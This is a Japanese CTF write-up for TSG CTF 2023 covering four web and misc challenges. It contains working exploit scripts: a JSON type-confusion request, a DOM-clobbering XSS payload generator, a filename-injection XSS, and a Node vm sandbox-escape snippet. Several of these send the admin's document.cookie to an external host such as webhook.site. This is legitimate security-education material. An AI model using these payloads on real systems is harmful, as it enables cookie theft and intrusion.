st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TSG CTF 2023 writeup

11/4 - 11/5という日程で開催された。zer0ptsで参加して4位だった。[Web 470] absurdresと[Misc 365] Functionlessでかなりの時間を費やしたものの解けず、特に前者では終了直前になって重要な要素を見つけたために解ききれなかったという状況で悔しかった。

ほかのメンバーのwriteup:


競技時間中に解いた問題

[Web 100] Upside-down cake (127 solves)

設定が正しいか、413回チェックしました。

(問題サーバのURL)

初心者向けヒント

  • とりあえず、上のリンクを開いて、適当に操作してみてください。この問題は「非常に長い回文」をサーバーに送ることでフラグが手に入ると主張していますが、話はそんなに単純ではないことがすぐに分かります。
  • 次に、添付したソースコードを読んでください。main.mjs や nginx.conf といったファイルにこのウェブサイトの重要なロジックが記述されています。flag という変数にフラグが保存されているので、この値をリークすることが目的となります。
  • これらのヒントを元に、「非常に長い回文」をサーバーに送るのではなく、何かしらのバグを突くことによってフラグを手に入れる方法を考えましょう。Web技術、特にJavaScriptについての知識が必要になるかもしれないので、必要に応じてMDNなどのドキュメントを参照してください。
  • なお、この問題を解くのに大量のアクセスをする必要はありません。ルールに書かれている通り、DoS まがいの大量アクセスはご遠慮ください。

Author: hakatashi

添付ファイル: upside-down_cake.tar.gz

丁寧な問題文だ。ソースコードは次の通り。入力した文字列が回文であるかチェックしてくれる便利なWebアプリケーションだ。validatePalindromenull を返せば、つまり文字列が回文として妥当であればフラグを返してくれる。が、この関数のはじめの部分で string.length < 1000 であれば弾かれるようになっており、短すぎるとそもそも回文かどうかチェックされるところまでたどり着けない。

import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';

const flag = process.env.FLAG ?? 'DUMMY{DUMMY}';

const validatePalindrome = (string) => {
    if (string.length < 1000) {
        return 'too short';
    }

    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];

        console.log(i, original, reverse)
        if (original !== reverse || typeof original !== 'string') {
            return 'not palindrome';
        }
    }

    return null;
}

const app = new Hono();

app.get('/', serveStatic({root: '.'}));

app.post('/', async (c) => {
    const {palindrome} = await c.req.json();
    const error = validatePalindrome(palindrome);
    if (error) {
        c.status(400);
        return c.text(error);
    }
    return c.text(`I love you! Flag is ${flag}`);
});

app.port = 12349;

serve(app);

では1000文字以上の回文を投げればよいのではないかと思うが、これはCTFの問題なのでうまくいくはずがない。添付されている nginx.conf を見ると次のような設定になっている。client_max_body_size 100 ということでそんなに長いリクエストボディを受け付けてくれない。

events {
    worker_connections 1024;
}

http {
    server {
        listen 0.0.0.0:12349;
        client_max_body_size 100;
        location / {
            proxy_pass http://app:12349;
            proxy_read_timeout 5s;
        }
    }
}

const {palindrome} = await c.req.json() とリクエストボディをJSONとして受け取っていることに着目する。この palindrome が文字列であるかどうかはチェックされていないので、たとえば {"palindrome": [1, 2, 3]} のように数値を要素とする配列が入っていたとしても通してくれる。

オブジェクトでも構わないので {"length": 1000} のようなものを入れると、string.length < 1000 のチェックを越えることはできる。その後の次の回文であるかどうかのチェック処理について、forループを回しており、ここでひとつひとつの(通常の文字列や配列であれば存在するはずの)要素にアクセスされる。

ただし、ここで Array(1000).keys() とわざわざ疎な配列を作った上でそのキーを参照している。つまり、0, 1, …, 999 というキーが参照される。このままでは originalreverseundefined となり、typeof originalstring ではないため not palindrome という判定になる。

   for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];

        console.log(i, original, reverse)
        if (original !== reverse || typeof original !== 'string') {
            return 'not palindrome';
        }
    }

ではどうするか。string.length に普通でない数値や文字列を入れるのはどうか。abc のような文字列を入れたときのことを考える。'abc' < 1000false であるから次の回文かのチェック処理に進むことができるし、[...Array('abc').keys()][0] であるので、チェックされる要素はひとつだけになる。

original では string[i]、つまり 0 というキーが参照される。これと比較される reverse では string.length - i - 1 、つまり 'abc' - 0 - 1 を計算した結果のキーが参照される。実行してみると、'abc' - 0 - 1NaN となることがわかる。length には abc のような文字列を、0NaN というキーにはそれぞれ同じ値を入れておけばよさそうだ。

以下のようなスクリプトを用意する。

import requests
r = requests.post('http://34.84.176.251:12349', json={
    'palindrome': {
        "length": "abc",
        "0": "a",
        "NaN": "a"
    }
})
print(r.text)

実行するとフラグが得られた。

$ python3 s.py
I love you! Flag is TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}
TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}

zer0ptsは2nd solveだった。

[Web 267] Brainfxxk Challenge (11 solves)

Brainfuckソースコードが記号だけで構成されているので読むのが著しく困難です。そこで、私たちは ,r に、.= に置換したバージョンのBrainfuckを導入しました。とても読みやすくなりましたよね?

(問題サーバのURL)

Author: fabon-f

添付ファイル: brainfxxk_challenge.tar.gz

Brainfxxkがベースになっているという時点で読みやすいわけがないし、,r に、.= に変えたところで微々たる差でしかない。与えられたURLにアクセスすると、次のようにBrainfxxkのコードを入力するフォームがある。See minified code というボタンを押すと、この問題のバージョンのBrainfxxkで使われる8種類の文字以外を削除してくれる。

Save ボタンを押すと、/to7kqvxzfnov554d のようにランダムな文字列を含むパーマリンクを生成して、ほかのユーザにBrainfxxkコードを共有できるようになる。Report this page というボタンを押すと、adminがこのページを見に来てくれるようだ。

adminが通報されたページを見に来る処理は次の通り。httpOnly ではない cookie というCookieにフラグが格納されているので、XSSかなにかで document.cookie へアクセスして外部に送信させればよさそう。

async function crawl(path) {
    if (!path.startsWith('/')) {
        return
    }
    const targetUrl = `http://${process.env.APP_DOMAIN}:${process.env.APP_PORT}${path}`

    const browser = await puppeteer.launch({
        executablePath: 'google-chrome-stable',
        headless: true,
        args: [
            '--no-sandbox',
            '--disable-background-networking',
            '--disk-cache-dir=/tmp',
            '--disable-default-apps',
            '--disable-extensions',
            '--disable-gpu',
            '--disable-sync',
            '--disable-translate',
            '--metrics-recording-only',
            '--mute-audio',
            '--no-first-run',
            '--safebrowsing-disable-auto-update',
        ]
    })
    const page = await browser.newPage()
    page.setCookie({
        name: 'cookie',
        value: process.env.FLAG,
        domain: process.env.APP_DOMAIN
    })
    await page.setExtraHTTPHeaders({
        // For CTF players: just ignore this line.
        'Bypass-Tunnel-Reminder': 'true',
    });
    await page.goto(targetUrl, {
        waitUntil: 'load',
        timeout: 10000
    })
    await page.close()
    await browser.close()
}

先程のコードの共有ページにHTML Injectionが存在しており、たとえば <s>test</s> というコードを投稿すると、次のように取り消し線が表示される。

ただし、以下のようにCSPが設定されているため、<script>alert(123)</script> のようなインラインスクリプトによってXSSに持ち込むことはできない。同じオリジンに存在するコンテンツでなにか使えそうなものはないか。

Content-Security-Policy: style-src 'self' https://unpkg.com/sakura.css@1.4.1/css/sakura.css ; script-src 'self' ; object-src 'none' ; font-src 'none'

サーバ側のソースコードを確認する。/minify という、先程の See minified code ボタンを押すことで呼び出されるエンドポイントが存在している。><+-=r[] の8種類の文字しか使えないという難点があるが、ほかのエンドポイントは POST でしか受付ないため script 要素からの読み込みには使えなかったり、JSとして妥当なものにできそうにないHTMLを返す、内容がユーザ側でコントロールできないといった問題があり、結局はこのエンドポイントしか使うことができない。JSFxxkのようにして8種類の文字でなんとかしろということらしい。

app.get('/minify', (req, res) => {
    const code = req.query.code ?? ''
    res.send(code.replaceAll(/[^><+\-=r\[\]]/g, ''))
})

この8種類では、JS単体で任意コードの実行などに持ち込むことはまずできない。幸いにもHTML Injectionができるし、使用可能な文字の中に r とJSの識別子として妥当なものが含まれている。DOM Clobberingによって r のような idname を持つ要素をJS側から参照し、これを利用して楽をするのはどうか。

たとえば、<a href=abc:abcdefghijklmnopqrstuvwxyz0123456789/ id=r>a</a> というようなタグがあるときに、JS側からは r という変数を参照することで、HTMLAnchorElement にアクセスできる。r+[] で文字列化ができるが、HTMLAnchorElement.toStringhref 属性の値を返してくれるので、その値は abc:abcdefghijklmnopqrstuvwxyz0123456789/ という文字列になる。これを利用して、(r+[])[8] のような処理で href 属性に含まれる文字を持ってくることができる。こうして手に入れた文字を + で結合することで、好きな文字列を作り、プロパティへのアクセスなどに使うことができる*1

カッコ(通常の関数呼び出し)とバックティック(テンプレート文字列)が使えないので関数呼び出しが簡単にはできないのが面倒だ。そもそも関数呼び出しをせずにフラグを入手できないか考える。この問題では、document.cookie にアクセスして外部に送信さえできればよい。前者については、SECCON CTF 2023 Quals - SimpleCalcのように HTMLIFrameElement.contentWindow へアクセスし、iframe.contentWindow.document.cookie。幸いにもこのアプリのCSPでは default-srcframe-src のいずれも存在しておらず、自由に iframe を作れる。JS側からの HTMLIFrameElement へのアクセスは、先程と同様にDOM Clobberingで <iframe srcdoc=a id=rr></iframe> のようにすればよい。後者については、iframe なり img なりの src にURLを代入すればよいだろう。

まとめると、次のようなHTMLとJSを用意することになる。HTMLの方は文字種の制限がないのでよいとして、JSの方は srccontentWindow といったプロパティへのアクセスを、rhref 属性に含まれる文字へアクセスして結合する形で作っていき、8種類の文字で実現することになる。

  • ペイロードその1: <a href="abc:abcdefghijklmnopqrstuvwxyz0123456789/.?W" id="r">a</a><iframe srcdoc="a" id="rr"></iframe><img src="x" id="rrr"><script src="/minify?code=(ペイロードその2)"></script>
  • ペイロードその2: rrr.src='(webhook.siteのURL)'+rr.contentWindow.document.cookie

最後に、(r+[])[8] のような r の各文字へのアクセスについて、カッコをどう置き換えるか、キーの数値をどうやって作るかを考える。カッコについては [r+[]][0][8] のように配列を作ることで置き換えられる。キーの数値については、+[]==+[]true が作れ、+(+[]==+[]) で数値に変換させることで 1 が作れる*2rrrr=1, rrrrr=rrrr+rrrr, rrrrrr=rrrrr+rrrrr, …といったようにあらかじめ 2^n の数値を変数に入れておき、これを足し合わせて好きな数値を作ればよい。

では、セミコロンやコンマなしにどうやって複数の変数にまとめて値を設定しておくか。これは [rrrr=1][rrrrr=rrrr+rrrr]=[rrrrrr=rrrrr+rrrrr][rrrrrrr=rrrrrr+rrrrrr]=… のようにすればよい。要は [1][2]=[4][8] のように適当な配列のプロパティに代入するついでに、そのプロパティ名の評価とともに各変数への代入を行っている。いちいち2つの変数ごとに = で区切っているのは、[a=1][b=2][c=4] のように3段以上積み重ねると undefined[4] 相当の処理となってしまい、エラーを吐いてしまうためだ。

これで準備は整った。いい感じにJSコードを生成してくれるPythonスクリプトを書く。

import re
import string
import urllib.parse

table = 'abc:' + string.ascii_lowercase[3:] + string.digits + '/.?W'

def generate_string(s):
    res = []
    for c in s:
        if c not in table:
            raise Exception(f'char not found: {c}')
        res.append(f'[r+[]][+[]][{table.index(c)}]')
    return '+'.join(res)

def convert_num(m):
    res = []
    n = int(m.group(0))
    for i in range(n.bit_length()):
        if n & (1 << i):
            res.append('r' * (4 + i))
    return '+'.join(res)

def generate_script():
    res = '[rrrr=+[+[]==+[]][+[]]][rrrrr=rrrr+rrrr]=[rrrrrr=rrrrr+rrrrr][rrrrrrr=rrrrrr+rrrrrr]=[rrrrrrrr=rrrrrrr+rrrrrrr][rrrrrrrrr=rrrrrrrr+rrrrrrrr]=' # prologue
    res += f'''
rrr[{generate_string('src')}]={generate_string('http://example.com?')}+rr[{generate_string('contentWindow')}][{generate_string('document')}][{generate_string('cookie')}]
    '''.strip()
    res = re.sub(r'[0-9]+', convert_num, res)
    return res

def generate_html(s):
    payload = urllib.parse.quote(s)
    return f'<a href={table} id=r>a</a><iframe srcdoc=a id=rr></iframe><img src=x id=rrr><script src="/minify?code={payload}"></script>'

script = generate_script()
print(len(script), script)
print(generate_html(script))

これで以下のようなJSコードが生成される。

[rrrr=+[+[]==+[]][+[]]][rrrrr=rrrr+rrrr]=[rrrrrr=rrrrr+rrrrr][rrrrrrr=rrrrrr+rrrrrr]=[rrrrrrrr=rrrrrrr+rrrrrrr][rrrrrrrrr=rrrrrrrr+rrrrrrrr]=rrr[[r+[]][+[]][rrrr+rrrrr+rrrrrrrr]+[r+[]][+[]][rrrrr+rrrrrrrr]+[r+[]][+[]][rrrrr]]=[r+[]][+[]][rrrrrrr]+[r+[]][+[]][rrrrrr+rrrrrrrr]+[r+[]][+[]][rrrrrr+rrrrrrrr]+[r+[]][+[]][rrrrrrrr]+[r+[]][+[]][rrrr+rrrrr]+[r+[]][+[]][rrrr+rrrrrr+rrrrrrrrr]+[r+[]][+[]][rrrr+rrrrrr+rrrrrrrrr]+[r+[]][+[]][rrrr+rrrrrr]+[r+[]][+[]][rrrrrrr+rrrrrrrr]+[r+[]][+[]][]+[r+[]][+[]][rrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrrrrrr]+[r+[]][+[]][rrrrrr+rrrrrrr]+[r+[]][+[]][rrrr+rrrrrr]+[r+[]][+[]][rrrrr+rrrrrr+rrrrrrrrr]+[r+[]][+[]][rrrrr]+[r+[]][+[]][rrrr+rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrr+rrrrr+rrrrrr+rrrrrrrrr]+rr[[r+[]][+[]][rrrrr]+[r+[]][+[]][rrrr+rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrrrr+rrrrrrrr]+[r+[]][+[]][rrrr+rrrrrr]+[r+[]][+[]][rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrrrr+rrrrrrrr]+[r+[]][+[]][rrrrrrr+rrrrrrrrr]+[r+[]][+[]][rrrr+rrrrrrr]+[r+[]][+[]][rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrrrr]+[r+[]][+[]][rrrr+rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrr+rrrrr+rrrrrr+rrrrrrrr]][[r+[]][+[]][rrrrrr]+[r+[]][+[]][rrrr+rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrrr]+[r+[]][+[]][rrrr+rrrrrr+rrrrrrrr]+[r+[]][+[]][rrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrr+rrrrrr]+[r+[]][+[]][rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrrrr+rrrrrrrr]][[r+[]][+[]][rrrrr]+[r+[]][+[]][rrrr+rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrr+rrrrr+rrrrrr+rrrrrrr]+[r+[]][+[]][rrrr+rrrrr+rrrrrrr]+[r+[]][+[]][rrrr+rrrrrrr]+[r+[]][+[]][rrrr+rrrrrr]]

生成されたHTMLを通報すると、フラグが得られた。

TSGCTF{u_r_j5fuck_m4573r}

zer0ptsがfirst bloodだった。JSコード部分では8種類の文字が使えたわけだが、結局 [, ], r, =, + の5種類しか使っていない。

競技終了後に解いた問題

[Web 470] absurdres (2 solves)

これが本当のハイレゾ

(問題サーバのURL)

Author: hakatashi

添付ファイル: absurdres.tar.gz

与えられたURLにアクセスすると、次のようなWebページが表示される。画像のアップロードと、![alt text](file id) のような記法で、アップロードした画像を埋め込んだポストを投稿できるWebアプリのようだ。

画像をアップロードすると /images/5713f4dc0e5e083f4cf025cd9a3e33fb のようなパーマリンクに遷移する。このページのHTMLは次のようなもので、後で紹介するポストのページでも ![alt text](file id) はこの imgsrcset の組み合わせに置換される。

       <h1><a href="/">Absurdres</a></h1>
        <figure>
            <img srcset="/assets/images/shika.x2.jpg 2x, /assets/images/shika.x1.jpg" alt="">
            <figcaption>
                Quote this image by
                <code>!&lsqb;description&rsqb;&lpar;5713f4dc0e5e083f4cf025cd9a3e33fb&rpar;</code>
                <button type="button" class="copy">Copy</button>
            </figcaption>
        </figure>

<s>test</s>![test](5713f4dc0e5e083f4cf025cd9a3e33fb) のようなポストを投稿すると、/posts/zcobtaqoqoctpiil のようなパーマリンクに遷移して、次のように表示される。

明らかにHTML Injectionが発生しているが、次のようにCSPが存在しているため、やはり単純なインラインスクリプトによってXSSに持ち込むことはできない。同じオリジンで面白いものはないか。

Content-Security-Policy: script-src 'self' 'nonce-Khsb5ujl6ldKAneXHc8M590itch9bxFo'

となると、/assets/images/shika.x2.jpg/assets/images/shika.x1.jpg のようにアップロードされた画像をJSとのpolyglotにして、これをJSコードとして script 要素で読み込むのではないかと考える。

これには2つ問題があるが、まず1つ目。次のコードは画像のアップロード時の処理だが、Image.open(BytesIO(image_data))x2 (元と同じサイズ) と x1 (縦横ともに半分のサイズ) でそれぞれ image.save() という形で、Pillowによる画像の処理を挟んでいる。このため、元の画像がそのまま保存されるわけではなく、改めてPillowによってエンコードなりなんなりがされることになる。JSとのPolyglotを作成するにあたって邪魔になりそうだ。

@app.route('/image', methods=['POST'])
def post_image():
    image = request.files.get('image')
    if image is None:
        return 'no image', 400

    filename, *_, extension = os.path.basename(image.filename).split('.')
    if any(c not in ascii_lowercase for c in filename):
        return 'invalid filename', 400

    image_data = image.read()
    image_x2 = Image.open(BytesIO(image_data))
    image_x1 = image_x2.resize((image_x2.width // 2, image_x2.height // 2))

    image_id = md5(image_data).hexdigest()

    db.images.insert_one({
        'image_id': image_id,
        'files': [
            {
                'path': f'images/{filename}.x2.{extension}',
                'title': image.filename,
                'zoom': 2,
            },
            {
                'path': f'images/{filename}.x1.{extension}',
                'title': image.filename,
                'zoom': None,
            },
        ],
    })

    image_x1.save(f'{static_dir}/images/{filename}.x1.{extension}')
    image_x2.save(f'{static_dir}/images/{filename}.x2.{extension}')

    return redirect(url_for('get_image', image_id=image_id))

一番JSとのPolyglotが作りやすいのは、ビットマップファイルだ。BM という2バイトのマジックナンバーの後にファイルサイズが来る。また、画像のデータの部分もRGBで無圧縮のものが基本的に入るので、まずヘッダ部分に BM(適当に妥当な文字)/* を、画像のデータ部分に */alert(123)//(以降改行文字が入らないよう気をつける) を仕込むことで簡単に作れる。

Pillowによる再エンコードの処理を念頭に置きつつ、目的のファイルサイズにするにはどの程度の幅と高さにすればよいか考える。面倒なのでファイルサイズの計算処理をコピペしてきてZ3pyに聞くと、9094x101ぐらいでいいんじゃないっすかねという回答が返ってきた。

from z3 import *
w, h = BitVecs('w h', 32)
stride = ((w * 24 + 7) / 8 + 3) & (~3)
image = stride * h
solve(w > 0, w < 20000, h > 0, h < 20000, image == 0x2a2f20)

これをもとにJSとビットマップファイルのPolyglotを作成する。Windowsのペイントで9094x101というサイズかつ24ビットのビットマップファイルを作成し、バイナリエディタで画像のデータ部分をいじるだけだけれども。

これで、Pillowに処理されてなおJSとのPolyglotであり続けるビットマップファイルができあがった。ローカルにダウンロードしてきて、polyglot.js と改名して <script src="polyglot.js"></script> という内容のHTMLを作成し、開く。確かにJSコードが実行されているように見える。

だが、問題サーバで試すと動かない。"refused to execute script because its MIME type ('image/x-ms-bmp') is not executable, and strict MIME type checking is enabled" ということで、それはそう。これが先程言っていた、もうひとつの問題だ。

ファイルのアップロード処理では、以下のようにファイル名の . で区切った最初の部分については、すべてが英小文字であるか検証があるものの、拡張子についてはそのような検証はなく、またJPEG, GIF, PNGなど特定の画像形式に対応するものであるかも確認されていない。

    filename, *_, extension = os.path.basename(image.filename).split('.')
    if any(c not in ascii_lowercase for c in filename):
        return 'invalid filename', 400
# …
    image_x1.save(f'{static_dir}/images/{filename}.x1.{extension}')
    image_x2.save(f'{static_dir}/images/{filename}.x2.{extension}')

画像の加工後の保存時にそのまま拡張子が使われるので、ここで js を使えばよいのではないかと考えるがコケる。

ログを見ると "unknown file extension" と怒られていた。なるほど、どのようなファイルフォーマットで保存するかが別途引数から指定されているわけではないから、Pillowとしては拡張子から推測するしかないが、その材料として js を渡されても困ると。Pillowのソースコード見てもこの方針ではダメそうだと分かる。JSとビットマップファイルとのPolyglotを書くという考えを投げ捨てた。

アプリのソースコードを眺めていて気になる点があった。そういえば ![alt text](image id) という記法はどうやって img 要素に変換されているのだろうと該当する箇所を探すと、以下の通りだった。

なぜかポストの保存時やレンダリング時に置換するのではなく、わざわざ app.after_request でフックしてレスポンスを書き換えている。そうする必然性がなくかなり怪しい。また、これでは /posts/<post_id> 以外でも置換されてしまうという点も怪しい。かなり怪しいが使い道が思い浮かばない。

@app.after_request
def after_request(response):
    response.direct_passthrough = False

    data = response.get_data()
    response.data = re.sub(b'!\\[(.*?)\\]\\((.+?)\\)', replace_img, data)

    return response

もうひとつ、CTFの終了5分前になって、ファイルアップロード時の以下の処理が怪しいことに気づいた。なぜか画像の保存より先に、DBに画像のパスを保存している。つまり、たとえPillowが画像の保存に失敗したとしても、DB上で画像IDと画像のパスの対応付けがなされたままになる。

    db.images.insert_one({
        'image_id': image_id,
        'files': [
            {
                'path': f'images/{filename}.x2.{extension}',
                'title': image.filename,
                'zoom': 2,
            },
            {
                'path': f'images/{filename}.x1.{extension}',
                'title': image.filename,
                'zoom': None,
            },
        ],
    })

    image_x1.save(f'{static_dir}/images/{filename}.x1.{extension}')
    image_x2.save(f'{static_dir}/images/{filename}.x2.{extension}')

画像の保存に失敗すると当然500が返ってくるが、ここで画像IDは image_id = md5(image_data).hexdigest() と元データのMD5ハッシュであるため、容易に推測可能だ。/images/<image_id> は与えられた画像IDに対応するレコードがDBにあればそれでよく、対応付けられたパスにファイルが実際に存在しているかは見ない。

@app.route('/images/<image_id>', methods=['GET'])
def get_image(image_id):
    image = db.images.find_one({'image_id': image_id})
    return render_template('image.html.jinja', img=get_img('', image_id), image_id=image_id, files=image['files'])

image.html.jinja は次のような内容だ。なるほど、画像のパスなどはここでJSONとしてインラインスクリプト中に展開されるらしい。

単純に hoge.bmp" のように拡張子中に " を含ませることで、ここでJSコードを破壊できるのではないかと考えたが、ここで json.dumps を通す json というフィルターが使われているため、残念ながらエスケープされてしまう。

       <script nonce="{{csp_nonce()}}">
            const files = {{files|json|safe}};
            const file = getBestImage(files, window.devicePixelRatio);

            // …
        </script>

ここで時間切れ。DBへの画像パスの保存 → 画像の保存という明らかに不自然な流れをずっと見逃してしまっており、

という気持ち。

この怪しい流れに気づいた時点で @app.after_request のことを忘れてしまっていた。たとえば ![abc](image id) のような拡張子であればどうなるだろうか。試してみよう。

いい感じに怪しいファイル名で画像をアップロードしてくれるスクリプトを書く。同じ内容だと同じ画像IDになってしまう(また、DBのレコードが上書きされるわけではない)ので、どうせPillowがよしなに処理してくれるだろうと期待して、末尾に適当なランダムなバイト列をくっつけて毎度違う画像IDになるようにする。

import hashlib
import random
import httpx

with open('meguru.png', 'rb') as f:
    image = f.read() + random.randbytes(16)
    hash = hashlib.md5(image).hexdigest()

filename = f'hoge.![abc]({hash})'
with httpx.Client(base_url='http://localhost:55416/') as client:
    client.post('/image', files={
        'image': (filename, image)
    })
    r = client.get(f'/images/{hash}')
    print(r.url)
    print(r.text)

実行した結果出力されたHTMLの一部は次のような感じだった。かなり壊れている。

<figure>
                        <img srcset="/assets/images/hoge.x2.<img srcset="/assets/images/hoge.x2.![abc](f9ae762af39f14e3da80b815c5f736fc) 2x, /assets/images/hoge.x1.![abc](f9ae762af39f14e3da80b815c5f736fc)" alt="abc"> 2x, /assets/images/hoge.x1.<img srcset="/assets/images/hoge.x2.![abc](f9ae762af39f14e3da80b815c5f736fc) 2x, /assets/images/hoge.x1.![abc](f9ae762af39f14e3da80b815c5f736fc)" alt="abc">" alt="">
                        <figcaption>
                                Quote this image by
                                <code>!&lsqb;description&rsqb;&lpar;f9ae762af39f14e3da80b815c5f736fc&rpar;</code>
                                <button type="button" class="copy">Copy</button>
                        </figcaption>
                </figure>
                <script nonce="LJsOyvah8_vKaiL2Z_hVcNxqOmFQGnOP">
                        const files = [{"path": "images/hoge.x2.<img srcset="/assets/images/hoge.x2.![abc](f9ae762af39f14e3da80b815c5f736fc) 2x, /assets/images/hoge.x1.![abc](f9ae762af39f14e3da80b815c5f736fc)" alt="abc">", "title": "hoge.<img srcset="/assets/images/hoge.x2.![abc](f9ae762af39f14e3da80b815c5f736fc) 2x, /assets/images/hoge.x1.![abc](f9ae762af39f14e3da80b815c5f736fc)" alt="abc">", "zoom": 2}, {"path": "images/hoge.x1.<img srcset="/assets/images/hoge.x2.![abc](f9ae762af39f14e3da80b815c5f736fc) 2x, /assets/images/hoge.x1.![abc](f9ae762af39f14e3da80b815c5f736fc)" alt="abc">", "title": "hoge.<img srcset="/assets/images/hoge.x2.![abc](f9ae762af39f14e3da80b815c5f736fc) 2x, /assets/images/hoge.x1.![abc](f9ae762af39f14e3da80b815c5f736fc)" alt="abc">", "zoom": null}];
                        const file = getBestImage(files, window.devicePixelRatio);

                        const img = document.querySelector('img');
                        img.style.cursor = 'zoom-in';

                        let zoom = false;
                        img.onclick = () => {
                                if (zoom) {
                                        img.style = '';
                                        img.style.cursor = 'zoom-in';
                                } else {
                                        img.href = file.url;
                                        img.style.background = 'black';
                                        img.style.position = 'fixed';
                                        img.style.top = '0';
                                        img.style.left = '0';
                                        img.style.width = '100%';
                                        img.style.height = '100%';
                                        img.style.objectFit = 'contain';
                                        img.style.cursor = 'zoom-out';
                                }
                                zoom = !zoom;
                        };
                </script>

インラインスクリプト中の壊れ方が const files = [{"path": "images/hoge.x2.<img srcset="/assets/images/hoge.x2. という感じなのが厄介だ。title として元のファイル名が保持されて展開されるという点も覚えておきたい。ここからはいかにインラインスクリプトの中のコードをJSとして妥当なものにしつつ、 document.cookie の外部への送信をさせるかというパズルが始まる。

まず考えたのが hoge.![fuga]({hash}).piyo}}]<!-- という感じで、早々に files に代入される配列を閉じさせ、また以降のコードはコメントアウトさせて一切考えなくてよくすることだった。これで、次のようなJSコードが出力される。[{"path": "images/hoge.x2.piyo}]<!--", "title": "hoge.<img srcset="/assets/images/hoge.x2.piyo}]<!-- 2x, /assets/images/hoge.x1.piyo}] までが files に代入される配列として解釈されて、<!-- 以降はコメントとして扱われる// とスラッシュが入る形でコメントアウトすると、色々面倒になるだろうと思ったためだ。このためにわざわざここでコメントアウトのために <!-- を使っている。

           const files = [{"path": "images/hoge.x2.piyo}]<!--", "title": "hoge.<img srcset="/assets/images/hoge.x2.piyo}]<!-- 2x, /assets/images/hoge.x1.piyo}]<!--" alt="fuga">.piyo}]<!--", "zoom": 2}, {"path": "images/hoge.x1.piyo}]<!--", "title": "hoge.<img srcset="/assets/images/hoge.x2.piyo}]<!-- 2x, /assets/images/hoge.x1.piyo}]<!--" alt="fuga">.piyo}]<!--", "zoom": null}];
            const file = getBestImage(files, window.devicePixelRatio);

これで、SyntaxError は解決し、"hoge.<img srcset="/assets/images/hoge.x2.piyo をどう成り立たせるかという ReferenceError の問題だけになった。ここで本来パスの区切り文字であるはずの / は、除算の演算子として扱われる。したがって、assets, images, hoge.x2.piyo をそれぞれDOM Clobberingで存在するようにすればよい。hoge.x2.piyoundefined でもよいので、これに関しては hoge.x2 があればよい。これは以下のようなHTMLがあれば実現できる。

<a id=assets></a><a id=images></a><a id=hoge><a id=hoge name=x2></a></a>

JSコード中だけでなく、figure 中でもファイル名に含まれる ![abc](image id) は展開されており、そこでHTML Injectionが起こっているので、それを利用する。hoge.![fuga]({hash}).piyo}}]<!-- --> "><a id=assets><a id=images><a id=hoge><a id=hoge name=x2> というようなファイル名で、const files の行については成り立たせることができ、次の const file = getBestImage(files, window.devicePixelRatio); の行に処理を進ませることができた。

あとはやるだけだ。files に代入される配列の終わりと <!-- によるコメントアウトの間に ;alert(123); を仕込む。次のスクリプトを実行して出力されたURLにアクセスすると、アラートが出た。

import hashlib
import random
import httpx

with open('meguru.png', 'rb') as f:
    image = f.read() + random.randbytes(16)
    hash = hashlib.md5(image).hexdigest()

filename = f'hoge.![fuga]({hash}).piyo}}];alert(123);<!-- --> "><a id=assets><a id=images><a id=hoge><a id=hoge name=x2>'
with httpx.Client(base_url='http://localhost:55416/') as client:
    client.post('/image', files={
        'image': (filename, image)
    })
    r = client.get(f'/images/{hash}')
    print(r.url)
    print(r.text)

実行されるコードを location[`assign`](`https:\\x2f\\x2fwebhook\\x2esite\\x2f…?`+document[`cookie`]); のようにしてやると、フラグが得られた。

TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}

[Misc 365] Functionless (5 solves)

JavaScript の REPL を作ったよ」

「悪いコードが実行できちゃうんじゃない?」

「大丈夫! 括弧を使えないようにしているから、悪い関数は呼び出せないよ。バッククォートも使えないよ」

「括弧が使えないなんて、カッコがつかない REPL だなぁ」

(問題サーバへの接続情報)

Author: n4o847

添付ファイル: functionless.tar.gz

ソースコードは次の通り。カッコとバックティックを含んでいない限りで好きなJSコードを実行してくれる。つまり、テンプレート文字列を使ったものも含めて関数の呼び出しが非常に難しくなっている。また、vm モジュールで作られたサンドボックスの中でコードが実行される。vm.createContext 中で codeGeneration オプションとして strings: false が設定されているため、evalFunction といった、文字列をコードとして実行可能にする関数が利用できないという制約もある。

Dockerfile 中には RUN mv flag.txt flag-$(md5sum flag.txt | awk '{ print $1 }').txt という記述があり、ここからOSコマンドの実行なりファイル一覧の取得なりに持ち込めということだろう。サンドボックス中からは直接 require へアクセスできないので、なんとかして脱出する必要がある。

const readline = require("node:readline/promises");
const vm = require("node:vm");

async function main() {
  const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
  });

  const context = vm.createContext(undefined, {
    codeGeneration: {
      strings: false,
    },
  });

  console.log("Welcome! Please input an expression.");

  while (true) {
    const code = await rl.question("> ");

    if (/[()`]/.test(code)) {
      console.log("You can't call functions!");
      continue;
    }

    try {
      const result = vm.runInContext(code, context);
      console.log(result);
    } catch {
      console.log("Something is wrong...");
    }
  }
}

main();

まずサンドボックスの外側にある require 等へのアクセスについて考える。vm.createContext の呼び出し時に Object.create(null) でなく undefined を渡されていることが重要で、このために this.constructor.constructor('return process.mainModule.require')()thisconstructor を辿ってサンドボックスの外側の Function へアクセスすることができ、これを使ってその外側のコンテキストで好きなコードを実行できる。

